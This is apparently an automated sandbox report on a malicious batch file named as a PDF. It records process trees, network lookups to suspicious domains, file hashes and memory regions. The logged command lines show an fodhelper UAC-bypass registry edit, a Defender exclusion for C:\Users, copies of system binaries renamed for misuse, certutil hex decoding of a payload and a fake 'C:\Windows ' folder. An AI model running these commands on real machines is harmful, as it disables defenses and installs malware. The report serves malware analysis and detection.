Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A

Suspicious use of UnmapMainImage

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1112 wrote to memory of 3888 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1112 wrote to memory of 3888 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3888 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 3888 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 1112 wrote to memory of 924 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 924 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 924 wrote to memory of 2520 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 924 wrote to memory of 2520 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1112 wrote to memory of 4800 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 4800 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4800 wrote to memory of 1088 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4800 wrote to memory of 1088 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1112 wrote to memory of 5000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 5000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5000 wrote to memory of 4076 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 5000 wrote to memory of 4076 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4076 wrote to memory of 1836 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4076 wrote to memory of 1836 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1836 wrote to memory of 2304 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 1836 wrote to memory of 2304 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 4076 wrote to memory of 3604 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 4076 wrote to memory of 3604 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 1112 wrote to memory of 3316 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 3316 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3316 wrote to memory of 3276 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3316 wrote to memory of 3276 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1112 wrote to memory of 5076 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 5076 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5076 wrote to memory of 3660 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 5076 wrote to memory of 3660 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1112 wrote to memory of 3752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 1112 wrote to memory of 3752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 1112 wrote to memory of 3752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 1112 wrote to memory of 4176 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 4176 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 4940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 4940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 232 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 232 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 4608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 4608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 5048 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 5048 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5048 wrote to memory of 3600 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 5048 wrote to memory of 3600 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1112 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1112 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2904 wrote to memory of 1368 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2904 wrote to memory of 1368 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1112 wrote to memory of 3064 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1112 wrote to memory of 3064 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3752 wrote to memory of 3340 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 3340 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 3340 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 4860 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 4860 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 4860 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 3652 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 3652 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3752 wrote to memory of 3652 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 3652 wrote to memory of 3184 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\5760350.exe
PID 3652 wrote to memory of 3184 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\5760350.exe
PID 3184 wrote to memory of 3064 N/A C:\Windows \System32\5760350.exe C:\Windows\system32\cmd.exe
PID 3184 wrote to memory of 3064 N/A C:\Windows \System32\5760350.exe C:\Windows\system32\cmd.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\fodhelper.exe

"C:\Windows\system32\fodhelper.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\cmd.exe

cmd /c del "C:\Users\Public\alpha.exe" / A / F / Q / S

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows "

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows \System32"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Windows \System32\5760350.exe"

C:\Windows \System32\5760350.exe

"C:\Windows \System32\5760350.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Bknjadtw.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

C:\Windows\SysWOW64\systray.exe

"C:\Windows\SysWOW64\systray.exe"

C:\Program Files\Mozilla Firefox\Firefox.exe

"C:\Program Files\Mozilla Firefox\Firefox.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 2.20.37.224:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 8.8.8.8:53 bvhw9q.db.files.1drv.com udp
US 13.107.42.12:443 bvhw9q.db.files.1drv.com tcp
US 8.8.8.8:53 11.137.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 www.primeplay88.org udp
DE 91.195.240.19:80 www.primeplay88.org tcp
US 8.8.8.8:53 19.240.195.91.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 www.lucathicke.com udp
DE 91.195.240.19:80 www.lucathicke.com tcp
DE 91.195.240.19:80 www.lucathicke.com tcp
DE 91.195.240.19:80 www.lucathicke.com tcp
DE 91.195.240.19:80 www.lucathicke.com tcp
DE 91.195.240.19:80 www.lucathicke.com tcp
US 8.8.8.8:53 www.gudvain.top udp
US 203.161.62.199:80 www.gudvain.top tcp
US 8.8.8.8:53 199.62.161.203.in-addr.arpa udp
US 203.161.62.199:80 www.gudvain.top tcp
US 203.161.62.199:80 www.gudvain.top tcp
US 203.161.62.199:80 www.gudvain.top tcp
US 203.161.62.199:80 www.gudvain.top tcp
US 8.8.8.8:53 www.fitlikeaphoenix.com udp
LT 84.32.84.32:80 www.fitlikeaphoenix.com tcp
US 8.8.8.8:53 32.84.32.84.in-addr.arpa udp
LT 84.32.84.32:80 www.fitlikeaphoenix.com tcp
LT 84.32.84.32:80 www.fitlikeaphoenix.com tcp
LT 84.32.84.32:80 www.fitlikeaphoenix.com tcp
LT 84.32.84.32:80 www.fitlikeaphoenix.com tcp
US 8.8.8.8:53 www.hggg2qyws.sbs udp
HK 47.76.88.64:80 www.hggg2qyws.sbs tcp
US 8.8.8.8:53 64.88.76.47.in-addr.arpa udp
HK 47.76.88.64:80 www.hggg2qyws.sbs tcp
US 8.8.8.8:53 104.193.132.51.in-addr.arpa udp
HK 47.76.88.64:80 www.hggg2qyws.sbs tcp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgfg110m.iey.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4076-22-0x000002B2EA6E0000-0x000002B2EA702000-memory.dmp

memory/4076-27-0x00007FFD55800000-0x00007FFD562C1000-memory.dmp

memory/4076-28-0x000002B2EA720000-0x000002B2EA730000-memory.dmp

memory/4076-31-0x000002B2EA720000-0x000002B2EA730000-memory.dmp

memory/4076-34-0x00007FFD55800000-0x00007FFD562C1000-memory.dmp

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\Lewxa.txt

MD5 6d75d7c7cc50099ca677b647ca9ce8d3
SHA1 b0bb8832ccbc990c8f6c69ec61c2e73bc9bc8cad
SHA256 6ef611c9602ce5918ab87951f9ffd851b1fb53decbd199d073a9823d6b330bf4
SHA512 b2d93df8a1ae31b052045a50bf5ca10b80e9e3d34359bac69d5626ccc399e375b66b07cca1fd202435fb526ae7f9bde1f56bb8767b5a9051d59de9829d45e2b2

C:\Users\Public\Libraries\Lewxa.com

MD5 0469678ef92472d4850b3e4054d48841
SHA1 6ef4f00eae4ab53c0dcb179e52912030bb1bbd6b
SHA256 9a7b25d43bb078fd0c48c0f9afaa7b12d8cb1fdd466a1021902f053b8de0c45f
SHA512 9601fa402eabf95af0fe3b754d684c0891b2acb49ffdd9ed467d6ccb5539eab03b1c45ce0d65a10d5b4bce085e96fe89d6beb352f2a518504ed79956aa6aae4f

C:\Users\Public\Libraries\Lewxa.com

MD5 a54a78adc4b1f0c0b12fd34bad325964
SHA1 d6e57d2271b7121d50945b54898787b728e24a78
SHA256 67941f14cef4dbdffc1125373098f84bfb23e7367fca663a15c3bd665b78f7fd
SHA512 9e826f54314441c0363dad6205047f9f97aebe094b1fbe6a4d31b14d99f1382a9f4b47caa8a1dbbb8b3cf4f1b8e5927e6ba4abb4ac02c793100cab4bef81989b

memory/3752-54-0x0000000002450000-0x0000000002451000-memory.dmp

memory/3752-56-0x00000000040D0000-0x00000000050D0000-memory.dmp

memory/3752-57-0x00000000040D0000-0x00000000050D0000-memory.dmp

memory/3752-59-0x0000000000400000-0x0000000000551000-memory.dmp

C:\Windows \System32\5760350.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Windows \System32\netutils.dll

MD5 fa7aa88417d0c48807144a1a48fe3fbc
SHA1 6f5ec990b12d4a6075050a94e0d68d03781fa46d
SHA256 2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098
SHA512 99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

memory/3184-70-0x00000000613C0000-0x00000000613E3000-memory.dmp

C:\windows \system32\KDECO.bat

MD5 c545650595b479c81ad6b9d8882aae39
SHA1 7a98aa2e6eee23b3c1bba876955d525bc618b3f0
SHA256 a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9
SHA512 85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

memory/2340-81-0x00007FFD53E60000-0x00007FFD54921000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a6c9d692ed2826ecb12c09356e69cc09
SHA1 def728a6138cf083d8a7c61337f3c9dade41a37f
SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
SHA512 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

memory/2340-85-0x000001E631AF0000-0x000001E631B00000-memory.dmp

memory/2340-84-0x000001E631AF0000-0x000001E631B00000-memory.dmp

memory/2340-83-0x000001E631AF0000-0x000001E631B00000-memory.dmp

memory/2340-88-0x00007FFD53E60000-0x00007FFD54921000-memory.dmp

C:\Users\Public\Libraries\Bknjadtw.PIF

MD5 2dfc4938d980a733ca8484df24df9886
SHA1 4660364cb6a885580eb67731ae6b2bd32842d07d
SHA256 26d0349541b20a4c51524c7f422946667fa1261e42c0eec960dbb368030ced25
SHA512 de7f56d137a97dd172fffe54325d8718cfc1bdebf0c210e2308da7ba437b79a59096e3b0db03abb4f0b6005114df436a8ffb997ffe3cba08c89b818636f7b4ea

memory/1056-95-0x0000000002680000-0x0000000003680000-memory.dmp

memory/1056-97-0x000000001BE60000-0x000000001C1AA000-memory.dmp

memory/1056-98-0x0000000002680000-0x0000000003680000-memory.dmp

memory/1056-99-0x0000000002680000-0x0000000003680000-memory.dmp

memory/1056-100-0x000000001B680000-0x000000001B6A3000-memory.dmp

memory/3516-101-0x000000000D690000-0x0000000010779000-memory.dmp

memory/2884-102-0x00000000010D0000-0x0000000001110000-memory.dmp

memory/2884-103-0x00000000010D0000-0x0000000001110000-memory.dmp

memory/1056-104-0x0000000002680000-0x0000000003680000-memory.dmp

memory/2884-105-0x0000000003090000-0x00000000033DA000-memory.dmp

memory/2884-106-0x00000000010D0000-0x0000000001110000-memory.dmp

memory/2884-107-0x0000000002E60000-0x0000000002F02000-memory.dmp

memory/3516-108-0x0000000008CD0000-0x0000000008DE9000-memory.dmp

memory/3516-109-0x0000000008CD0000-0x0000000008DE9000-memory.dmp

memory/3516-111-0x000000000D690000-0x0000000010779000-memory.dmp

memory/2884-117-0x00000000010D0000-0x0000000001110000-memory.dmp

memory/2884-118-0x0000000002E60000-0x0000000002F02000-memory.dmp

memory/3516-119-0x0000000008CD0000-0x0000000008DE9000-memory.dmp